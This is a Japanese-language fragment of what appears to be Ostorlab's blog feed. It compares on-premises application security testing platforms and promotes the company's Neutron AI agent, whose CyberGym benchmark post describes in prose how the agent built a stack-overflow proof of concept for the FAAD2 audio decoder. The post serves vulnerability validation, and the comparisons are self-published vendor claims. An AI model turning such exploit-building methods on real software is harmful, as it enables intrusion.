&lt;p&gt;アーキテクチャはハイブリッドです。スキャンは顧客が管理するインフラから行われ、設定、オーケストレーション、検出結果、レポート作成はOstorlabのクラウドプラットフォームを通じて管理されます。したがって組織は、プラットフォームとやり取りされる情報を評価すべきであり、このデプロイを完全セルフホストやエアギャップのものとして扱うべきではありません。&lt;/p&gt;
&lt;p&gt;より広いOstorlabプラットフォームは、Web、API、ネットワーク、モバイル、ソースコードのセキュリティテストをサポートしています。また、アプリケーションの挙動を調査し、検出結果を検証し、接続されたアセット間の関係を調べるよう設計されたエージェント型のスキャンプロファイルも提供しています。&lt;/p&gt;
&lt;p&gt;このアプローチにより、完全なローカルのAppSecプラットフォームを運用するのに必要なインフラを削減しつつ、テストをプライベートな環境にまで広げることができます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：ネットワークのエグレス要件、送信されるデータ、ホスティングの地域、ローカルスキャナーがサポートするスキャンプロファイル、同時実行数、高可用性、接続が途絶えた間の動作。&lt;/p&gt;
&lt;h3 id="invicti enterprise on-premises"&gt;Invicti Enterprise On-Premises&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：WebアプリケーションとAPIにわたる、自動化された実証ベースの脆弱性検証を備えた、完全に顧客がホストするエンタープライズ向けDASTプラットフォーム。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.invicti.com/ie-is/category/install-and-update-ie-on-premises"&gt;Invicti Enterprise On-Premises&lt;/a&gt;は、WebアプリケーションとAPIの自動セキュリティテストのための、顧客がホストするプラットフォームを提供します。&lt;/p&gt;
&lt;p&gt;そのアーキテクチャには、顧客が管理するインフラ内にデプロイされるInvictiのWebアプリケーション、データベース、スキャンエージェント、関連サービスを含めることができます。分散エージェントにより、組織は異なるネットワークセグメントにまたがって配置されたアプリケーションの近くにスキャン能力を配置できます。&lt;/p&gt;
&lt;p&gt;Invictiは、エンタープライズ向けDASTと自動検証を重視しています。そのProof-Based Scanning技術は、悪用が可能であることを実証し、検出結果にエビデンスを添付することで、対応する脆弱性を確認します。&lt;/p&gt;
&lt;p&gt;セルフホストモデルでは、組織はインフラとデータの配置をより強く管理できますが、その一方でプラットフォームの運用と保守も必要になります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：インフラ要件、データベースのアーキテクチャ、サポートされる認証方式、エージェントの配置、高可用性、更新手順、APIのカバレッジ、外部サービスが引き続き必要かどうか。&lt;/p&gt;
&lt;h3 id="burp suite dast"&gt;Burp Suite DAST&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：分散したBurp ScannerエンジンとCI/CDの自動化を活用した、セルフホストのエンタープライズ向けWebおよびAPI脆弱性スキャン。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://portswigger.net/burp/documentation/dast"&gt;Burp Suite DAST&lt;/a&gt;は、Burp Scannerを用いた、WebとAPIの一元的な自動セキュリティスキャンを提供します。&lt;/p&gt;
&lt;p&gt;PortSwiggerは、自らの環境内でDASTを運用する必要がある組織向けに、セルフホストのデプロイオプションを文書化しています。このプラットフォームは、スケジュールされたスキャン、ロールベースのアクセス、CI/CD連携、課題管理、API、分散スキャンインフラをサポートしています。&lt;/p&gt;
&lt;p&gt;Burp Suite DASTは、Burp Suite Professionalと区別する必要があります。DASTは一元的で再現可能な自動テストを目的としており、Burp Suite Professionalは、セキュリティ担当者がアナリスト主導のテストに使用するインタラクティブなツールキットです。&lt;/p&gt;
&lt;p&gt;セルフホストのデプロイではプラットフォーム環境を管理できますが、購入者は提案されたエディションに関連する正確なアーキテクチャと外部依存関係を確認すべきです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：サポートされるセルフホストのアーキテクチャ、該当する場合はKubernetesの要件、スキャナーの能力、認証、APIのオンボーディング、アップグレード手順、外部サービスへの依存関係、自動化されたDASTと手動のBurpワークフローの役割分担。&lt;/p&gt;
&lt;h3 id="hcl appscan"&gt;HCL AppScan&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：DAST、SAST、SCAのワークフローにわたって、セルフマネージドおよびプライベートサイトのテストを提供するマルチモーダルなアプリケーションセキュリティスイート。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.hcl-software.com/appscan"&gt;HCL AppScan&lt;/a&gt;は、動的、静的、ソフトウェア構成、および関連するテストワークフローをカバーするアプリケーションセキュリティの製品ファミリーです。&lt;/p&gt;
&lt;p&gt;オンプレミスの機能はAppScan EnterpriseやAppScan Standardなどの製品を通じて提供されており、AppScan on Cloudは異なる提供モデルを採用し、公開インターネットからアクセスできないアプリケーションに到達するためにプライベートサイトスキャンを利用できます。&lt;/p&gt;
&lt;p&gt;AppScanは製品ファミリーであるため、デプロイとテストのカバレッジは選択するコンポーネントによって決まります。組織は、一元的なエンタープライズ向けDAST、デスクトップでのテスト、ソースコード解析、依存関係の解析、またはこれらの機能の組み合わせのどれが必要かを明確にすべきです。&lt;/p&gt;
&lt;p&gt;より広いポートフォリオは成熟したAppSecプログラムを支援できますが、そのアーキテクチャとライセンスには製品単位での評価が必要です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：正確なAppScan製品とバージョン、完全にセルフホストされるコンポーネント、データベースとサーバーの要件、プライベートサイトスキャンのアーキテクチャ、サポートされるテスト手法、ライセンス、アップグレードの責任。&lt;/p&gt;
&lt;h3 id="opentext fortify"&gt;OpenText Fortify&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：顧客管理型のソースコード解析（SAST）、動的テスト（WebInspect）、一元的なセキュリティガバナンスをサポートする、幅広いエンタープライズ向けAppSecポートフォリオ。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.opentext.com/products/application-security"&gt;OpenText Fortify&lt;/a&gt;は、ソースコード、デプロイ済みのアプリケーション、ソフトウェアの依存関係にわたるエンタープライズ向けのアプリケーションセキュリティテストを提供します。&lt;/p&gt;
&lt;p&gt;そのポートフォリオには、Fortify Static Code Analyzer、WebInspect、Software Security Center、およびソフトウェア構成分析の機能が含まれます。これらの製品は、静的解析、動的テスト、一元的なガバナンス、開発パイプラインとの連携を含む、顧客管理型のAppSecワークフローを支援できます。&lt;/p&gt;
&lt;p&gt;Fortifyの強みは製品ファミリーの幅広さですが、その幅広さゆえに、購入者は意図するオンプレミスのアーキテクチャを構築するためにどの製品が必要かを特定しなければなりません。&lt;/p&gt;
&lt;p&gt;Fortifyのデプロイは、単一のスキャナーとしてではなく、接続されたコンポーネントの集合として評価すべきです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;確認すべき点&lt;/strong&gt;：必要なFortify製品、デプロイのトポロジー、ライセンス、データベースとインフラの要件、ソースコードの取り扱い、スキャンエンジンの配置、製品間の相互運用性、更新手順、クラウドへの依存関係。&lt;/p&gt;
&lt;h2 id="信頼できる価値実証の進め方"&gt;信頼できる価値実証の進め方&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;評価領域&lt;/th&gt;
&lt;th style="text-align: left;"&gt;検証手順&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プライベートなアクセス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;社内DNS経由でのみアクセスできるアプリケーションをスキャンし、公開が不要であることを確認する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;データフロー&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;すべてのアウトバウンド接続を記録し、どのアプリケーションデータ、エビデンス、メタデータが環境の外に出るかを特定する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;認証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;代表的なSSO、セッション更新、証明書、ロールベースのワークフローをテストする&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;テストのカバレッジ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;提案されたデプロイを使用して、必要なDAST、SAST、SCA、API、モバイル、ネットワークのアセスメントを実行する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;隔離&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部との接続を遮断し、どの機能が継続するか、失敗するか、後で実行するためにキューに入るかを記録する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;スケーリング&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;同時スキャンをテストし、想定されるアプリケーションポートフォリオに必要なインフラを測定する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;保守&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ロールバックとスキャナーの同期を含め、更新を実施するか更新プロセスをシミュレーションする&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;検出結果に、再現可能なリクエスト、レスポンス、コードの位置、その他の技術的な実証が含まれていることを確認する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;修正の検証&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;選択した脆弱性を修正し、プラットフォームが影響を受ける挙動を再テストすることを確認する&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;価値実証では、次の問いに答えるべきです。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;どのコンポーネントが組織内で実行されるか&lt;/li&gt;
&lt;li&gt;どのデータが環境の外に出るか&lt;/li&gt;
&lt;li&gt;プラットフォームは必要なすべてのプライベートアセットをテストできるか&lt;/li&gt;
&lt;li&gt;外部との接続がない場合、何が機能しなくなるか&lt;/li&gt;
&lt;li&gt;各コンポーネントの保守に責任を持つのは誰か&lt;/li&gt;
&lt;li&gt;開発者は報告された検出結果を再現・検証できるか&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;h3 id="主要なオンプレミス型アプリケーションセキュリティテストプラットフォームはどれか"&gt;主要なオンプレミス型アプリケーションセキュリティテストプラットフォームはどれか&lt;/h3&gt;
&lt;p&gt;この比較で評価したプラットフォームは、Ostorlab、Invicti Enterprise On-Premises、Burp Suite DAST、HCL AppScan、OpenText Fortifyです。これらは、デプロイのアーキテクチャ、テストスコープ、データの取り扱い、インフラ要件、切断された環境への対応の点で異なります。&lt;/p&gt;
&lt;h3 id="オンプレミス型アプリケーションセキュリティテストとは何か"&gt;オンプレミス型アプリケーションセキュリティテストとは何か&lt;/h3&gt;
&lt;p&gt;オンプレミス型アプリケーションセキュリティテストは、顧客が管理するインフラ内にデプロイされたスキャンまたは管理のコンポーネントを用いて、プライベートなアプリケーション、API、ソースコード、バイナリ、ネットワークサービスを評価するものです。&lt;/p&gt;
&lt;h3 id="オンプレミススキャナーはセルフホストプラットフォームと同じか"&gt;オンプレミススキャナーはセルフホストプラットフォームと同じか&lt;/h3&gt;
&lt;p&gt;同じではありません。オンプレミススキャナーは顧客の環境からテストを実行しますが、オーケストレーションとレポート作成はクラウドベースのままの場合があります。セルフホストプラットフォームは、管理レイヤー、データ保存、レポート作成、スキャンインフラを顧客の管理下に置きます。&lt;/p&gt;
&lt;h3 id="オンプレミスのセキュリティテストはインターネットアクセスなしで動作できるか"&gt;オンプレミスのセキュリティテストはインターネットアクセスなしで動作できるか&lt;/h3&gt;
&lt;p&gt;インターネットアクセスなしで動作すると想定できるのは、切断された環境やエアギャップでの運用向けに明示的に設計されたプラットフォームだけです。セルフホストの製品でも、ライセンス、更新、テレメトリ、外部へのコールバック、AIサービスのために接続が必要な場合があります。&lt;/p&gt;
&lt;h3 id="組織がアプリケーションセキュリティテストをオンプレミスでデプロイする理由は何か"&gt;組織がアプリケーションセキュリティテストをオンプレミスでデプロイする理由は何か&lt;/h3&gt;
&lt;p&gt;一般的な理由には、プライベートなアプリケーションへのアクセス、データ所在地の要件、ソースコードと認証情報の保護、ネットワークのセグメント化、規制上の義務、アセスメントのインフラを管理する必要性などがあります。&lt;/p&gt;
&lt;h3 id="購入者はオンプレミス型appsecベンダーに何を尋ねるべきか"&gt;購入者はオンプレミス型AppSecベンダーに何を尋ねるべきか&lt;/h3&gt;
&lt;p&gt;購入者は、どのコンポーネントがローカルで実行されるか、どのデータが環境の外に出るか、どの機能にインターネット接続が必要か、誰が更新を管理するか、どのテスト手法がローカルでサポートされるか、そして提案されたアーキテクチャが隔離と可用性の要件を満たせるかどうかを尋ねるべきです。&lt;/p&gt;
&lt;h2 id="ostorlabのデプロイに関する考慮事項"&gt;Ostorlabのデプロイに関する考慮事項&lt;/h2&gt;
&lt;p&gt;Ostorlabは、オンプレミスのスキャナーを通じて、自社のアプリケーションセキュリティプラットフォームをプライベートな環境にまで拡張しています。&lt;/p&gt;
&lt;p&gt;このスキャナーにより、組織はプライベートなWebアプリケーション、API、ネットワーク、その他のサポート対象のアセットを、それらの対象を公開することなく評価できます。これらのアセスメントは、Ostorlabのより広範なスキャン、検出結果、修復、監視のワークフローと結び付けられます。&lt;/p&gt;
&lt;p&gt;アーキテクチャ上の決定的なポイントも同様に重要です。&lt;strong&gt;Ostorlabのオンプレミス機能はハイブリッドデプロイであり、完全セルフホストやエアギャップのプラットフォームではありません。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一元的なクラウド管理を維持しながら、プライベートな対象へのローカルなアクセスが必要な場合には、検討に値します。すべてのオーケストレーション、保存、レポート作成、テストのインフラを隔離された環境内にとどめる必要がある組織は、選定の前にその要件を満たせるかどうかを確認すべきです。&lt;/p&gt;
&lt;p&gt;最終的に、判断は一つの問いに答えるものであるべきです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;提案されたデプロイは、組織が必要とするテストのカバレッジを提供しながら、適切なコンポーネントとデータを環境内にとどめられるか。&lt;/strong&gt;&lt;/p&gt;</content><category term="Product"/><category term="On-Premises Security Testing"/><category term="Application Security"/><category term="DAST"/><category term="SAST"/><category term="DevSecOps"/><category term="Private Application Testing"/></entry><entry><title>Ostorlab Neutron、CyberGymベンチマークで96.7%を達成</title><link href="https://blog.ostorlab.co/ja/cyberGym-Neutron.html" rel="alternate"/><published>2026-09-14T17:42:00+02:00</published><updated>2026-09-14T17:42:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-14:/ja/cyberGym-Neutron.html</id><summary type="html">&lt;p&gt;Ostorlab NeutronはCyberGymで検証済みエクスプロイト解決率96.7%を達成し、ベンチマークの脆弱性再現タスク1,507件のうち1,458件で実際に動作する差分概念実証を生成しました。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;Ostorlab NeutronはCyberGymで検証済みエクスプロイト解決率96.75%を達成し、ベンチマークの1,507件のタスクのうち1,458件で実際に動作する差分実証を生成しました。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;脆弱性の説明は出発点にすぎません。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.cybergym.io/cybergym/"&gt;CyberGym&lt;/a&gt;では、AIセキュリティエージェントは疑わしいコードを特定したり、説得力のある説明を生成したりするだけでは合格できません。対象の脆弱性を再現する、実際に動作する概念実証（PoC）を生成する必要があります。&lt;/p&gt;
&lt;p&gt;Ostorlab Neutronは&lt;strong&gt;1,507件中1,458件のタスク&lt;/strong&gt;でこれを達成し、&lt;strong&gt;検証済みエクスプロイト解決率96.75%&lt;/strong&gt;、四捨五入して&lt;strong&gt;96.7%&lt;/strong&gt;という結果を得ました。&lt;/p&gt;
&lt;p&gt;また、システムは&lt;strong&gt;1,507件のベンチマークタスク&lt;/strong&gt;すべてで、根本にある脆弱性を検出し、その位置を特定しました。&lt;/p&gt;
&lt;p&gt;評価には&lt;strong&gt;DeepSeek V4 Flash&lt;/strong&gt;を使用し、推定推論コストの平均は&lt;strong&gt;タスクあたり$1.0388&lt;/strong&gt;でした。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CyberGymにおけるOstorlab Neutron&lt;/th&gt;
&lt;th style="text-align: right;"&gt;結果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;検出し位置を特定した脆弱性&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;strong&gt;1,507 / 1,507&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;検証済みの差分PoC&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;strong&gt;1,458 / 1,507&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;検証済みエクスプロイト解決率&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;strong&gt;96.75%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;モデル&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;strong&gt;DeepSeek V4 Flash&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;推定推論コストの平均&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;strong&gt;タスクあたり$1.0388&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="cybergymが評価するのは実際に動作する実証"&gt;CyberGymが評価するのは実際に動作する実証&lt;/h2&gt;
&lt;p&gt;CyberGymには、&lt;strong&gt;188のオープンソースソフトウェアプロジェクトにまたがる、ARVOとOSS-Fuzz由来の1,507件の過去の脆弱性&lt;/strong&gt;が含まれています。&lt;/p&gt;
&lt;p&gt;各タスクで、エージェントは既知の脆弱性の説明と、対応するパッチ未適用のソースコードを受け取ります。エージェントは、脆弱な挙動にどのように到達できるかを突き止め、それを引き起こす入力を生成しなければなりません。&lt;/p&gt;
&lt;p&gt;その後、この実証はソフトウェアの2つのバージョンに対してテストされます。&lt;/p&gt;
&lt;p&gt;パッチ未適用のビルドでは脆弱性を再現し、パッチ適用済みのビルドでは脆弱性を引き起こさないことが求められます。&lt;/p&gt;
&lt;p&gt;もっともらしい説明では合格できません。両方のビルドをクラッシュさせる入力も合格できません。実証は特定の脆弱性を切り分け、パッチによってもたらされた挙動の違いを示す必要があります。&lt;/p&gt;
&lt;p&gt;これが、Neutronの&lt;strong&gt;解決率96.75%&lt;/strong&gt;の背後にある基準です。&lt;/p&gt;
&lt;h2 id="成功したタスクの一例"&gt;成功したタスクの一例&lt;/h2&gt;
&lt;p&gt;評価のタスクの一つは、オープンソースのMPEG-4およびAACオーディオデコーダーである&lt;strong&gt;FAAD2&lt;/strong&gt;を対象としていました。&lt;/p&gt;
&lt;p&gt;Neutronは、バージョン情報のないソースコードと、概略的な脆弱性の説明から作業を始めました。脆弱性がどのように修正されたかを示すパッチの差分やコミット履歴はありませんでした。&lt;/p&gt;
&lt;p&gt;ベンチマークのハーネスは、通常のオーディオファイルを受け付けませんでした。脆弱なデコーダーに到達する前に、Neutronはハーネスが想定する独自のバイナリ構造を再構築する必要がありました。&lt;/p&gt;
&lt;p&gt;Neutronは、Cの設定オブジェクトが必要とするメモリアラインメントを特定し、デコーダーに入るために必要な正確な&lt;strong&gt;29バイトのプリアンブル&lt;/strong&gt;を構築しました。&lt;/p&gt;
&lt;p&gt;続いてNeutronは、脆弱性の原因を不正な形式のProgram Configuration Elementまで突き止めました。この要素は、デコーダーの固定サイズのスタックバッファーが表現できる数を超えるオーディオチャンネルを宣言できるものでした。&lt;/p&gt;
&lt;p&gt;Neutronは、デコードを続行するために必要なチェックを満たしつつ、&lt;strong&gt;64エントリのバッファーに対して93チャンネル&lt;/strong&gt;を宣言する入力を構築しました。&lt;/p&gt;
&lt;p&gt;最終的な概念実証は&lt;strong&gt;134バイト&lt;/strong&gt;でした。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;脆弱なビルドでは、この入力によってAddressSanitizerのスタックバッファーオーバーフローが確認されました。&lt;/li&gt;
&lt;li&gt;パッチ適用済みのビルドでは、同じ入力で正常に終了しました。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;同じ入力で、脆弱なビルドはクラッシュし、パッチ適用済みのビルドはクラッシュしない。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;これが、この結果を支える&lt;strong&gt;1,458件の動作する再現&lt;/strong&gt;のうちの一つです。&lt;/p&gt;
&lt;h2 id="推論はモデルが担い、調査はneutronが完遂した"&gt;推論はモデルが担い、調査はNeutronが完遂した&lt;/h2&gt;
&lt;p&gt;評価中に使用された基盤となる推論能力は、DeepSeek V4 Flashが提供しました。&lt;/p&gt;
&lt;p&gt;それでも、CyberGymのタスクを完了するには、回答を生成する以上のことが必要でした。Neutronは、見慣れないソースコードを読み解き、対象の入力形式を理解し、有効なペイロードを構築し、それを実行し、その結果が脆弱なビルドとパッチ適用済みのビルドを区別できることを検証しなければなりませんでした。&lt;/p&gt;
&lt;p&gt;したがって、このスコアは単独のモデルの応答ではなく、DeepSeek V4 Flashを使用したOstorlab Neutronシステム全体を反映したものです。&lt;/p&gt;
&lt;p&gt;システムアーキテクチャの全体像、実験設定、エクスプロイトの手法については、&lt;a href="https://blog.ostorlab.co/cybergym-benchmark-technical-writeup.html"&gt;CyberGymの技術評価&lt;/a&gt;で解説しています。&lt;/p&gt;
&lt;h2 id="もう一つの成果は$1.0388"&gt;もう一つの成果は$1.0388&lt;/h2&gt;
&lt;p&gt;Ostorlab Neutronは、&lt;strong&gt;ベンチマークタスクあたり$1.0388&lt;/strong&gt;という推定推論コストの平均で、&lt;strong&gt;検証済みエクスプロイト解決率96.75%&lt;/strong&gt;に到達しました。&lt;/p&gt;
&lt;p&gt;この数値には、Neutronが受理される差分PoCを生成できなかったタスクも含まれています。成功したエクスプロイト1件あたりのコストではありません。&lt;/p&gt;
&lt;p&gt;この結果が重要なのは、脆弱性の検証が、最初の検出結果の後に続く高コストな工程であることが多いためです。&lt;/p&gt;
&lt;p&gt;スキャナーは潜在的な問題を素早く特定できます。しかし、その問題が到達可能か、再現可能か、そしてパッチによって無効化されるかを確定するには、別途調査が必要になる場合があります。&lt;/p&gt;
&lt;p&gt;推定推論コストの平均がタスクあたり1ドルをわずかに超える程度であれば、実行可能な検証をはるかに広い規模で実施することが現実的になります。&lt;/p&gt;
&lt;p&gt;目的は、検出結果を増やすことではありません。エンジニアリングチームが対応を求められる検出結果について、より強力なエビデンスを生み出すことです。&lt;/p&gt;
&lt;h2 id="公開エントリーとの比較(2026年9月15日時点)"&gt;公開エントリーとの比較（2026年9月15日時点）&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;2026年9月15日&lt;/strong&gt;時点で、表示されていたCyberGymの公開エントリーには次のものが含まれていました。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;システム&lt;/th&gt;
&lt;th style="text-align: right;"&gt;CyberGymスコア&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ostorlab Neutron&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;strong&gt;96.75%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft MDASH&lt;/td&gt;
&lt;td style="text-align: right;"&gt;91.0%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wiz Atlas&lt;/td&gt;
&lt;td style="text-align: right;"&gt;90.9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mythos&lt;/td&gt;
&lt;td style="text-align: right;"&gt;83.1%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらの表示スコアに基づくと、Ostorlab Neutronは次の位置にあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Microsoft MDASHを5.7ポイント上回る&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wiz Atlasを5.8ポイント上回る&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mythosを13.6ポイント上回る&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;この比較は、これらの特定の公開エントリーと評価結果を対象としたものです。ベンチマークスコアは常に、それを得るために使用されたシステム構成、モデル、タスクのカバレッジ、検証要件とあわせて考慮すべきです。&lt;/p&gt;
&lt;h2 id="この結果が示すもの"&gt;この結果が示すもの&lt;/h2&gt;
&lt;p&gt;CyberGymが測定するのは、既知の脆弱性の再現です。&lt;/p&gt;
&lt;p&gt;エージェントには、どの過去の脆弱性を再現すべきかが伝えられ、対応するパッチ未適用のソースコードが与えられます。脆弱性が存在するという手がかりがエージェントにないコードベースでの、制約のない脆弱性発見を測定するものではありません。&lt;/p&gt;
&lt;p&gt;その定義されたタスクの範囲内において、結果は明快です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1,507件中1,507件の脆弱性を検出し、位置を特定&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1,458件の検証済み差分PoC&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検証済みエクスプロイト解決率96.75%&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;タスクあたりの推定推論コストの平均$1.0388&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026年9月15日時点で表示されていたMicrosoft MDASH、Wiz Atlas、Mythosのエントリーを上回るスコア&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;CyberGymは明確な基準を設けています。実証は実際に動作しなければなりません。&lt;/p&gt;
&lt;p&gt;このスコアが注目に値するのは、その背後にあるもの、つまり実行して独立に検証できる、実際に動作するエビデンスがあるからです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;モデルは脆弱性を示唆できます。Neutronは調査を実証までやり遂げます。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;手法の全体、システムアーキテクチャ、リソースの集計、バイト単位のエクスプロイトの解説については、&lt;a href="https://blog.ostorlab.co/cybergym-benchmark-technical-writeup.html"&gt;CyberGymの技術評価&lt;/a&gt;をお読みください。&lt;/p&gt;</content><category term="Security"/><category term="Security"/><category term="CyberGym"/><category term="Neutron"/></entry><entry><title>おすすめの外部アタックサーフェス管理ツール7選（2026年）</title><link href="https://blog.ostorlab.co/ja/best-external-attack-surface-management-platforms-2026.html" rel="alternate"/><published>2026-09-11T10:00:00+02:00</published><updated>2026-09-11T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-11:/ja/best-external-attack-surface-management-platforms-2026.html</id><summary type="html">&lt;p&gt;Ostorlab、Defender EASM、Cortex Xpanse、CyCognitoなど7つの外部アタックサーフェス管理プラットフォームを、アセット検出、検証、修復の観点から比較します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;この2026年版の比較で評価する外部アタックサーフェス管理プラットフォームは、&lt;strong&gt;Ostorlab&lt;/strong&gt;、&lt;strong&gt;Microsoft Defender External Attack Surface Management&lt;/strong&gt;、&lt;strong&gt;Palo Alto Networks Cortex Xpanse&lt;/strong&gt;、&lt;strong&gt;CrowdStrike Falcon Exposure Management&lt;/strong&gt;、&lt;strong&gt;CyCognito&lt;/strong&gt;、&lt;strong&gt;Censys Attack Surface Management&lt;/strong&gt;、&lt;strong&gt;Tenable One Attack Surface Management&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;これらのプラットフォームはいずれもインターネットに公開されたアセットを継続的に検出・監視しますが、帰属判定の手法、検出の深さ、能動的なセキュリティテスト、エクスポージャーの検証、修復ワークフロー、エコシステム連携、そして外部アセットをアプリケーションや脆弱性のデータとどこまで結び付けるかという点で違いがあります。&lt;/p&gt;
&lt;p&gt;確認した公開資料の中で、Ostorlabは、Attack Surface製品におけるエージェント型の組織単位の検出と、より広いOstorlabプラットフォームを通じたWebアプリケーション、API、モバイルアプリケーション、ネットワークインフラにまたがる能動的なセキュリティスキャンを連携させている点で際立っています。これにより、未知のアセットの検出から、対象を絞ったスキャンの実行、裏付けとなるエビデンスの確認、修復の割り当て、そしてエクスポージャーが再発しないかの監視まで、一貫した流れが実現します。&lt;/p&gt;
&lt;h3 id="編集方針に関する開示"&gt;編集方針に関する開示&lt;/h3&gt;
&lt;p&gt;本ガイドはOstorlabが公開しています。比較は一般に公開されているベンダー自身のドキュメントに基づくものであり、検出カバレッジ、検出精度、スキャン速度、誤検知（フォールスポジティブ）率に関する独立したベンチマークではありません。&lt;/p&gt;
&lt;h2 id="easmプラットフォームの比較一覧"&gt;EASMプラットフォームの比較一覧&lt;/h2&gt;
